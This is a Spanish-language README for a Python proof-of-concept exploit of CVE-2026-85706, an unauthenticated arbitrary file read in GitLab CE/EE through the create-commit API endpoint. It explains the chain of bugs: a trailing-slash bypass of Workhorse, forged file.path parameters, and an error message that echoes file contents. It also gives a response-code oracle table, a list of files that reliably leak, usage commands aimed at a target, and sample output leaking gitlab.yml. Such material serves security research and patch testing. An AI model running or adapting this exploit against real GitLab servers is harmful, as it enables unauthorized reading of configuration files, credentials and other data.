
PoC en Python que explota CVE-2026-85706, un path traversal no autenticado y lectura arbitraria de archivos en GitLab CE/EE a través del endpoint create-commit, con oráculo de lectura de archivos.
Path traversal no autenticado / lectura arbitraria de archivos en GitLab CE y EE. CVSS 10.0. Verificado contra una instancia autogestionada 19.3.1 en un laboratorio local.
GitLab CE/EE:
Precondición: la instancia tiene al menos un proyecto público. Cualquier id de proyecto real sirve. No se necesita cuenta ni token.
El endpoint create-commit POST /api/v4/projects/:id/repository/commits
acepta cuerpos de archivos grandes, por lo que Workhorse almacena en búfer el cuerpo de la solicitud en disco e
inyecta metadatos file.path / file.size para que Rails los lea. Cuatro
errores se alinean:
require_gitlab_workhorse! en la entrada. El verdadero
authenticate! está detrás de authorize_push_to_branch!, que se ejecuta después
de la lectura del archivo.file_params_from_body_upload toma file.path y file.size directamente
de los parámetros de la solicitud, por lo que File.read(file_path) sigue cualquier ruta
absoluta que proporciones..../repository/commits\z.
Añadir una barra diagonal final omite esa ruta y recae en el proxy inverso
firmado, que reenvía el cuerpo sin procesar con un JWT válido. La verificación de Workhorse
pasa, Grape normaliza la barra diagonal y los parámetros falsificados sobreviven.Content-Type: application/x-www-form-urlencoded el contenido del archivo es
analizado por Rack::Utils.parse_nested_query. Una secuencia % ilegal genera
ArgumentError: invalid %-encoding (<component>) y la respuesta 400 hace eco de ese componente
textualmente.La lectura se ejecuta como el usuario git. El contenido solo se devuelve si el archivo contiene
una secuencia % ilegal; de lo contrario, aún obtienes un oráculo limpio de existencia y
legibilidad:
| Respuesta | Significado |
|---|---|
400 local file not present | el archivo no existe |
500 | existe, no legible por git |
401 | existe y es legible, sin % ilegal, nada se hace eco |
400 invalid %-encoding (...) | legible, componente devuelto |
Archivos que hacen eco de forma fiable en una instalación omnibus predeterminada: gitlab.yml (el comentario
de cabecera alcanza 95% temprano), registros y artefactos de trabajos de CI, adjuntos subidos,
y database.yml en despliegues con una base de datos externa.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
Sin dependencias, solo la biblioteca estándar.
Contra gitlab-ce 19.3.1 en docker, cero credenciales:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
Comprobaciones puntuales del oráculo de la misma ejecución:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
Solo para pruebas de seguridad autorizadas e investigación. No lo uses contra sistemas que no poseas o para los que no tengas permiso explícito de probar.